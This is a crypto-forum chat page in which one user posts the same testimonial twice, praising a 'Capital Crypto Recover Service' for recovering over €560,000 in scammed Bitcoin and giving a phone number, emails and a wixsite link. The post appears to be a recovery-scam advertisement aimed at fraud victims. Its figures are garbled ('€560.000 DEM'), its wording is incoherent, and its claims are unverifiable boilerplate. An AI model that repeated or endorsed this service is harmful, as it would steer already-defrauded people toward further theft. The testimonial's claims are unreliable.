  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon